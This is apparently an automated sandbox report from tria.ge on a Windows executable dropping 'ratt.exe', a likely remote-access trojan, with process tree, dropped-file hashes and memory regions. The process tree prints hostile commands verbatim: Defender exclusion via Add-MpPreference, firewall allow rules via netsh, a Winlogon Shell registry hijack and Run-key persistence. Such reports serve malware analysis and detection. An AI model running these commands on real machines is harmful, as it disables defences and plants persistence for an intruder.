Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    38s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230703-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/08/2023, 20:20

General

  • Target

    4767e6a530b49dce2913cf5b61e108a4e9756bf71ca4a68d573272bfec7d0ca1.exe

  • Size

    1.4MB

  • MD5

    538ba29bcaad873a0f5d0a370ed06141

  • SHA1

    6fe21fba493c1e1a0b99aaded30968c2f0c1cd5d

  • SHA256

    4767e6a530b49dce2913cf5b61e108a4e9756bf71ca4a68d573272bfec7d0ca1

  • SHA512

    1ac3964ac5ba925a9a6a5097fe1fb213098e47f8e3f666f1a456d9fe96428de988769caa188745e4224d40b896ca619b17356364e5f13830873ae1d1fb81bbf4

  • SSDEEP

    24576:U2G/nvxW3Ww0tRp8GiXTBhq7yRDvHcUcjUvy0lr3Tl6icOB/UWoT:UbA30H4zF0UMSAicOB/UWk

Score
8/10

Malware Config

Signatures

  • Modifies Windows Firewall 1 TTPs 2 IoCs
  • ACProtect 1.3x - 1.4x DLL software 2 IoCs

    Detects file using ACProtect software.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • UPX packed file 7 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Unexpected DNS network traffic destination 3 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 48 IoCs
  • Suspicious use of WriteProcessMemory 42 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4767e6a530b49dce2913cf5b61e108a4e9756bf71ca4a68d573272bfec7d0ca1.exe
    "C:\Users\Admin\AppData\Local\Temp\4767e6a530b49dce2913cf5b61e108a4e9756bf71ca4a68d573272bfec7d0ca1.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1352
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ratt.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1432
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c nslookup myip.opendns.com. resolver1.opendns.com
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3920
        • C:\Windows\SysWOW64\nslookup.exe
          nslookup myip.opendns.com. resolver1.opendns.com
          4⤵
            PID:2944
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c wmic ComputerSystem get Domain
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:740
          • C:\Windows\SysWOW64\Wbem\WMIC.exe
            wmic ComputerSystem get Domain
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3888
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          Powershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\ratt.exe"'
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3892
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          Powershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\"'
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4804
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          Powershell -Command 'Add-MpPreference -ExclusionPath "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe"'
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2576
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          Powershell -Command 'Add-MpPreference -ExclusionPath "$Env:SystemDrive\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"'
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1596
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          Powershell -Command 'Add-MpPreference -ExclusionProcess "C:\Users\Admin\AppData\Local\Temp\ratt.exe"'
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2564
        • C:\Users\Admin\AppData\Local\Temp\7z.exe
          7z.exe x -o"C:\Users\Admin\AppData\Local\Temp" -y ratt.7z
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:2036
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -executionpolicy RemoteSigned -WindowStyle Hidden -file Add.ps1
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4860
          • C:\Windows\SysWOW64\netsh.exe
            "C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=in action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" enable=yes
            4⤵
            • Modifies Windows Firewall
            PID:1412
          • C:\Windows\SysWOW64\netsh.exe
            "C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=out action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" enable=yes
            4⤵
            • Modifies Windows Firewall
            PID:4560
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe"
            4⤵
              PID:3908
              • C:\Windows\SysWOW64\Wbem\WMIC.exe
                wmic computersystem where name="HISXQJCD" set AutomaticManagedPagefile=False
                5⤵
                  PID:4984
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\system32\cmd.exe"
                4⤵
                  PID:4848
                  • C:\Windows\SysWOW64\Wbem\WMIC.exe
                    wmic pagefileset where name="C:\\pagefile.sys" set InitialSize=15000,MaximumSize=20000
                    5⤵
                      PID:4436
                  • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe
                    "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe"
                    4⤵
                      PID:1988
                      • C:\Windows\SysWOW64\cmd.exe
                        "cmd" /c ping 127.0.0.1 -n 8 > nul && REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
                        5⤵
                          PID:4196
                          • C:\Windows\SysWOW64\PING.EXE
                            ping 127.0.0.1 -n 8
                            6⤵
                            • Runs ping.exe
                            PID:3172
                          • C:\Windows\SysWOW64\reg.exe
                            REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
                            6⤵
                              PID:3796
                          • C:\Windows\SysWOW64\cmd.exe
                            "cmd" /c ping 127.0.0.1 -n 18 > nul && copy "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" "C:\Users\Admin\Music\rot.exe" && ping 127.0.0.1 -n 18 > nul && "C:\Users\Admin\Music\rot.exe"
                            5⤵
                              PID:3908
                              • C:\Windows\SysWOW64\PING.EXE
                                ping 127.0.0.1 -n 18
                                6⤵
                                • Runs ping.exe
                                PID:5012
                          • C:\Windows\SysWOW64\attrib.exe
                            "C:\Windows\system32\attrib.exe" +h "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe"
                            4⤵
                            • Views/modifies file attributes
                            PID:764
                        • C:\Windows\SysWOW64\reg.exe
                          REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "ratt" /t REG_SZ /d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe" /F
                          3⤵
                            PID:3480
                          • C:\Users\Admin\AppData\Local\Temp\ratt.exe
                            "ratt.exe"
                            3⤵
                              PID:3528

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe

                          Filesize

                          706.9MB

                          MD5

                          b80bb0025f3553ee6a88b2c35e462391

                          SHA1

                          997a9733d48fb4ad0bf0de9e889d82f50d112f6f

                          SHA256

                          512b6e18205665382cec5da977b76f64df2b49a5d1ac613406f9fc891b23e82f

                          SHA512

                          e97badaa71da6ad39225b3fa6f20bfd8043681ce3904c9a053f463d458165b30a6f1dbd5b4fd149852ed6d3d20b6caea09fba0388bddb124928dfa6dd012099a

                        • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe

                          Filesize

                          279.5MB

                          MD5

                          63af2166cac2478fa57f82251d8b1b13

                          SHA1

                          98f93525ebe11f80ad05ab69cc386e1e11255949

                          SHA256

                          ad71f66b557f4c1895b3e7d9a78fd1191d854e8af9bf6261b35b8c654bf71198

                          SHA512

                          f0daab0c77aecb0d1873b499e0fb59361ce068b69ae782f9f54df461905b182f5f9c5434986c83bc66576f62f13b456025af17bc712c56c0b1346721f2b48434

                        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                          Filesize

                          1KB

                          MD5

                          33b19d75aa77114216dbc23f43b195e3

                          SHA1

                          36a6c3975e619e0c5232aa4f5b7dc1fec9525535

                          SHA256

                          b23ced31b855e5a39c94afa1f9d55b023b8c40d4dc62143e0539c6916c12c9d2

                          SHA512

                          676fa2fd34878b75e5899197fe6826bb5604541aa468804bc9835bd3acabed2e6759878a8f1358955413818a51456816e90f149133828575a416c2a74fc7d821

                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                          Filesize

                          11KB

                          MD5

                          215321044ef0b09b88fb77313c6c58cb

                          SHA1

                          0fa49a13b3f924215f0e87c916cf3df2b57580c4

                          SHA256

                          cddedfd15a09114be695d52759ced1a668cc32e846c3b0d6cfb112bfc497cf21

                          SHA512

                          80b63c9bb6597a208d408a83f198f25f3ce091ab704ecd55ee701ffb95fe2f146dcc916caa706503cbbac69c8501125078719c667b99ee0d61b4ddfb569774b4

                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                          Filesize

                          11KB

                          MD5

                          8e432db1fe33dbde6571f97233327dea

                          SHA1

                          1592ff8ee24b8a012555cdf0c7ca469a676a1ada

                          SHA256

                          6879f28dccd416eb263129a88aa44df4476b88cf7f4078e6bd0e7c558020e83a

                          SHA512

                          6b67e8e9e8612340d13e98681590cf915521be375641dfddda8973ef22a50a335cfd130b34669701899c5ca0ef2c22c24930ed54cdcd70271d6a9d1bb7c55e06

                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                          Filesize

                          11KB

                          MD5

                          15065d7a1639f57883ba5ee061817b23

                          SHA1

                          ee7d09ffb882eb8b052b710503dac970ece4586d

                          SHA256

                          c0c2964fccbfd45b865e6f59cdc47254c8155da8b2ba64f5ee2ba8dbb20033bc

                          SHA512

                          76a54abc02117f510ac3d93693f8cb63c9fa490dc1f7de47efeeab4ab9e8bfdfafc9c06f5ff0ff44f5b2cdea0bdbed9183e65145b4754c461e4cb87108b98c3f

                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                          Filesize

                          11KB

                          MD5

                          259d40caa5732ffcdf3634a8e2bdb67c

                          SHA1

                          49a7f4a3ca36f7a33318c54e86bc15be0a50e681

                          SHA256

                          df3400b612369eb8e493d55874831304d3b0ffb3d75d77478afb908795c36755

                          SHA512

                          c3cbe4c0b59d8c4c65d100f9dbf714118aa1d4889f059c046869e2fc5ffdcdd466a4521445c9c02ca2ba2f56e1235a3df35a5376bdd9bf6598473cfa0d9e89d6

                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                          Filesize

                          11KB

                          MD5

                          95865c38ce5e4b68b2ebef8b2a361834

                          SHA1

                          ca3d1436a60b8f6f2ee463044cd7e7950c50be16

                          SHA256

                          64b4d4507873dc09d2bcca776f3dd1ec18349e703786cec6d212c89dad9cbf14

                          SHA512

                          81a62f6503c641cfdad9d6ebefbd255b790d0c6fc3d7be4fa60bfbb9e01029472b68794cb2c1271e45c1dad88be8ffea2d7f53c33069f5b31fa3ffe75e90dc20

                        • C:\Users\Admin\AppData\Local\Temp\7z.dll

                          Filesize

                          328KB

                          MD5

                          15bbbe562f9be3e5dcbb834e635cc231

                          SHA1

                          7c01cf5fa4db2312c5ed2f7b8c41e3e5c346a51a

                          SHA256

                          ed50ef8e0b6dd83fb0c3f733329d4aa6e5a3beb3491e2ba9d2ae206813508dde

                          SHA512

                          769287951b8c16f4b10c1b58e82612844babe7b5c10445fe848d713fb5e8321bcbbd9780e9c564cffe35ea4144e8a7e19645291c4eea372fcaa19ae395a97287

                        • C:\Users\Admin\AppData\Local\Temp\7z.dll

                          Filesize

                          328KB

                          MD5

                          15bbbe562f9be3e5dcbb834e635cc231

                          SHA1

                          7c01cf5fa4db2312c5ed2f7b8c41e3e5c346a51a

                          SHA256

                          ed50ef8e0b6dd83fb0c3f733329d4aa6e5a3beb3491e2ba9d2ae206813508dde

                          SHA512

                          769287951b8c16f4b10c1b58e82612844babe7b5c10445fe848d713fb5e8321bcbbd9780e9c564cffe35ea4144e8a7e19645291c4eea372fcaa19ae395a97287

                        • C:\Users\Admin\AppData\Local\Temp\7z.exe

                          Filesize

                          71KB

                          MD5

                          8ba2e41b330ae9356e62eb63514cf82e

                          SHA1

                          8dc266467a5a0d587ed0181d4344581ef4ff30b2

                          SHA256

                          ea2ad8d87b79c8eb3952498c7005a195986436cfd7ca7736dbbdda979142daea

                          SHA512

                          2fdfc2d368c70320b3dac00fef06381ef90a2a82a1f3137109b033d84e5b70185039af6ec918012dc03bc9d046cd8d8aee3247ba0f59d394e78f1f73380f7a1d

                        • C:\Users\Admin\AppData\Local\Temp\7z.exe

                          Filesize

                          71KB

                          MD5

                          8ba2e41b330ae9356e62eb63514cf82e

                          SHA1

                          8dc266467a5a0d587ed0181d4344581ef4ff30b2

                          SHA256

                          ea2ad8d87b79c8eb3952498c7005a195986436cfd7ca7736dbbdda979142daea

                          SHA512

                          2fdfc2d368c70320b3dac00fef06381ef90a2a82a1f3137109b033d84e5b70185039af6ec918012dc03bc9d046cd8d8aee3247ba0f59d394e78f1f73380f7a1d

                        • C:\Users\Admin\AppData\Local\Temp\Add.ps1

                          Filesize

                          1KB

                          MD5

                          0df43097e0f0acd04d9e17fb43d618b9

                          SHA1

                          69b3ade12cb228393a93624e65f41604a17c83b6

                          SHA256

                          c8e4a63337a25f55f75ad10ab2b420d716bad4b35a2044fd39dcd5936419d873

                          SHA512

                          01ae71dd2ee040baad6f4b9afcfbaeca2b9f6cc7d60ade5de637238d65c17d74292734666f4ae6b533f6bf1007c46387d8e690d97c3b7a535bcd6f216e70c4fb

                        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u2wwfuxj.l1i.ps1

                          Filesize

                          60B

                          MD5

                          d17fe0a3f47be24a6453e9ef58c94641

                          SHA1

                          6ab83620379fc69f80c0242105ddffd7d98d5d9d

                          SHA256

                          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                          SHA512

                          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                        • C:\Users\Admin\AppData\Local\Temp\ratt.7z

                          Filesize

                          693KB

                          MD5

                          7de6fdf3629c73bf0c29a96fa23ae055

                          SHA1

                          dcb37f6d43977601c6460b17387a89b9e4c0609a

                          SHA256

                          069979bfb2aefe3cac239fe4f2477672eb75b90c9853fb67b2ac1438f2ec44ff

                          SHA512

                          d1ef2299aacf429572fd6df185009960e601e49126f080fdced26ec407e5db86eaa902e474635464aac146b7de286667a398f2c5e46c4a821dad2579bfb3acf8

                        • C:\Users\Admin\AppData\Local\Temp\ratt.bat

                          Filesize

                          1KB

                          MD5

                          7ea1fec84d76294d9256ae3dca7676b2

                          SHA1

                          1e335451d1cbb6951bc77bf75430f4d983491342

                          SHA256

                          9a419095c0bafc6b550f3f760c7b4f91ef3a956cfa6403d3750164ecdbe35940

                          SHA512

                          ab712c45081b3d1c7edd03e67a8db1518a546f3fbf00e99838dfe03a689c4867a6953e6603dcd2be458b2441f4a2b70286fd7d096549cfcf032dd2cd54d68317

                        • C:\Users\Admin\AppData\Local\Temp\ratt.exe

                          Filesize

                          745.1MB

                          MD5

                          be788bb3680cf3809d9678ee6f7ba321

                          SHA1

                          499f01d5f654f83e172004dcc03f99abdd251734

                          SHA256

                          03a17a2b669f72df082569ea477977d824796da3b6b7a8d0e6f91f2629ef406b

                          SHA512

                          83c0b885740a57b84b2c909d0d6bb25baaa49d62499773030b59058325f37a5fcf39a1cd59ef9c229ca7289af7250034f6652e449625b67c2d260b285ddb9a8e

                        • C:\Users\Admin\AppData\Local\Temp\ratt.exe

                          Filesize

                          224.9MB

                          MD5

                          0d29c63ccf5445b8ae76dfa135cad77b

                          SHA1

                          50f41a72f9ab5339d33607bd515e92ed3afb4b34

                          SHA256

                          071c5ffccf897a53cef4a1fd79547ba52e6d310a0b8b4127326319a72ca46483

                          SHA512

                          f04af812ec180fce446c9b9d820897ef4ad99473df9b04fc6c1c103d04921e10ff9208b0ae57a223e9bc203a0afc344d8778c1975b79be5ccaff567a642399ca

                        • memory/1596-212-0x0000000075160000-0x0000000075910000-memory.dmp

                          Filesize

                          7.7MB

                        • memory/1596-198-0x0000000075160000-0x0000000075910000-memory.dmp

                          Filesize

                          7.7MB

                        • memory/1596-200-0x0000000005420000-0x0000000005430000-memory.dmp

                          Filesize

                          64KB

                        • memory/1596-199-0x0000000005420000-0x0000000005430000-memory.dmp

                          Filesize

                          64KB

                        • memory/1988-290-0x0000000005100000-0x0000000005110000-memory.dmp

                          Filesize

                          64KB

                        • memory/1988-293-0x0000000075090000-0x0000000075840000-memory.dmp

                          Filesize

                          7.7MB

                        • memory/1988-286-0x0000000004DE0000-0x0000000004E7C000-memory.dmp

                          Filesize

                          624KB

                        • memory/1988-284-0x0000000075090000-0x0000000075840000-memory.dmp

                          Filesize

                          7.7MB

                        • memory/1988-289-0x0000000004E80000-0x0000000004F12000-memory.dmp

                          Filesize

                          584KB

                        • memory/1988-285-0x0000000000280000-0x0000000000436000-memory.dmp

                          Filesize

                          1.7MB

                        • memory/1988-299-0x0000000075090000-0x0000000075840000-memory.dmp

                          Filesize

                          7.7MB

                        • memory/1988-297-0x0000000005100000-0x0000000005110000-memory.dmp

                          Filesize

                          64KB

                        • memory/1988-291-0x0000000004DC0000-0x0000000004DCA000-memory.dmp

                          Filesize

                          40KB

                        • memory/1988-296-0x0000000005100000-0x0000000005110000-memory.dmp

                          Filesize

                          64KB

                        • memory/2036-237-0x0000000000400000-0x0000000000432000-memory.dmp

                          Filesize

                          200KB

                        • memory/2036-229-0x0000000000400000-0x0000000000432000-memory.dmp

                          Filesize

                          200KB

                        • memory/2036-233-0x0000000010000000-0x00000000100E2000-memory.dmp

                          Filesize

                          904KB

                        • memory/2564-226-0x0000000075160000-0x0000000075910000-memory.dmp

                          Filesize

                          7.7MB

                        • memory/2564-213-0x0000000075160000-0x0000000075910000-memory.dmp

                          Filesize

                          7.7MB

                        • memory/2564-214-0x0000000004CB0000-0x0000000004CC0000-memory.dmp

                          Filesize

                          64KB

                        • memory/2576-184-0x0000000075160000-0x0000000075910000-memory.dmp

                          Filesize

                          7.7MB

                        • memory/2576-196-0x00000000007B0000-0x00000000007C0000-memory.dmp

                          Filesize

                          64KB

                        • memory/2576-197-0x0000000075160000-0x0000000075910000-memory.dmp

                          Filesize

                          7.7MB

                        • memory/3528-295-0x0000000075090000-0x0000000075840000-memory.dmp

                          Filesize

                          7.7MB

                        • memory/3528-300-0x0000000075090000-0x0000000075840000-memory.dmp

                          Filesize

                          7.7MB

                        • memory/3528-294-0x0000000000330000-0x00000000004E6000-memory.dmp

                          Filesize

                          1.7MB

                        • memory/3892-162-0x0000000006510000-0x000000000652E000-memory.dmp

                          Filesize

                          120KB

                        • memory/3892-163-0x0000000005100000-0x0000000005110000-memory.dmp

                          Filesize

                          64KB

                        • memory/3892-148-0x0000000004F50000-0x0000000004F86000-memory.dmp

                          Filesize

                          216KB

                        • memory/3892-166-0x0000000075160000-0x0000000075910000-memory.dmp

                          Filesize

                          7.7MB

                        • memory/3892-147-0x0000000005100000-0x0000000005110000-memory.dmp

                          Filesize

                          64KB

                        • memory/3892-146-0x0000000075160000-0x0000000075910000-memory.dmp

                          Filesize

                          7.7MB

                        • memory/3892-149-0x0000000005740000-0x0000000005D68000-memory.dmp

                          Filesize

                          6.2MB

                        • memory/3892-150-0x0000000005530000-0x0000000005552000-memory.dmp

                          Filesize

                          136KB

                        • memory/3892-151-0x00000000056D0000-0x0000000005736000-memory.dmp

                          Filesize

                          408KB

                        • memory/3892-152-0x0000000005E20000-0x0000000005E86000-memory.dmp

                          Filesize

                          408KB

                        • memory/4804-183-0x0000000075160000-0x0000000075910000-memory.dmp

                          Filesize

                          7.7MB

                        • memory/4804-170-0x0000000004BB0000-0x0000000004BC0000-memory.dmp

                          Filesize

                          64KB

                        • memory/4804-181-0x0000000004BB0000-0x0000000004BC0000-memory.dmp

                          Filesize

                          64KB

                        • memory/4804-168-0x0000000075160000-0x0000000075910000-memory.dmp

                          Filesize

                          7.7MB

                        • memory/4804-169-0x0000000004BB0000-0x0000000004BC0000-memory.dmp

                          Filesize

                          64KB

                        • memory/4860-267-0x0000000004FE0000-0x0000000004FFE000-memory.dmp

                          Filesize

                          120KB

                        • memory/4860-271-0x0000000007880000-0x0000000007916000-memory.dmp

                          Filesize

                          600KB

                        • memory/4860-279-0x0000000007950000-0x0000000007972000-memory.dmp

                          Filesize

                          136KB

                        • memory/4860-280-0x0000000008890000-0x0000000008E34000-memory.dmp

                          Filesize

                          5.6MB

                        • memory/4860-277-0x0000000007850000-0x0000000007858000-memory.dmp

                          Filesize

                          32KB

                        • memory/4860-276-0x0000000007920000-0x000000000793A000-memory.dmp

                          Filesize

                          104KB

                        • memory/4860-275-0x0000000007670000-0x000000000767E000-memory.dmp

                          Filesize

                          56KB

                        • memory/4860-274-0x0000000002AA0000-0x0000000002AB0000-memory.dmp

                          Filesize

                          64KB

                        • memory/4860-273-0x0000000002AA0000-0x0000000002AB0000-memory.dmp

                          Filesize

                          64KB

                        • memory/4860-288-0x0000000075090000-0x0000000075840000-memory.dmp

                          Filesize

                          7.7MB

                        • memory/4860-272-0x0000000075090000-0x0000000075840000-memory.dmp

                          Filesize

                          7.7MB

                        • memory/4860-278-0x0000000002AA0000-0x0000000002AB0000-memory.dmp

                          Filesize

                          64KB

                        • memory/4860-270-0x0000000007650000-0x000000000765A000-memory.dmp

                          Filesize

                          40KB

                        • memory/4860-269-0x0000000007600000-0x000000000761A000-memory.dmp

                          Filesize

                          104KB

                        • memory/4860-268-0x0000000007C60000-0x00000000082DA000-memory.dmp

                          Filesize

                          6.5MB

                        • memory/4860-257-0x0000000070EB0000-0x0000000070EFC000-memory.dmp

                          Filesize

                          304KB

                        • memory/4860-256-0x0000000006850000-0x0000000006882000-memory.dmp

                          Filesize

                          200KB

                        • memory/4860-255-0x000000007F640000-0x000000007F650000-memory.dmp

                          Filesize

                          64KB

                        • memory/4860-254-0x0000000002AA0000-0x0000000002AB0000-memory.dmp

                          Filesize

                          64KB

                        • memory/4860-242-0x0000000002AA0000-0x0000000002AB0000-memory.dmp

                          Filesize

                          64KB

                        • memory/4860-241-0x0000000075090000-0x0000000075840000-memory.dmp

                          Filesize

                          7.7MB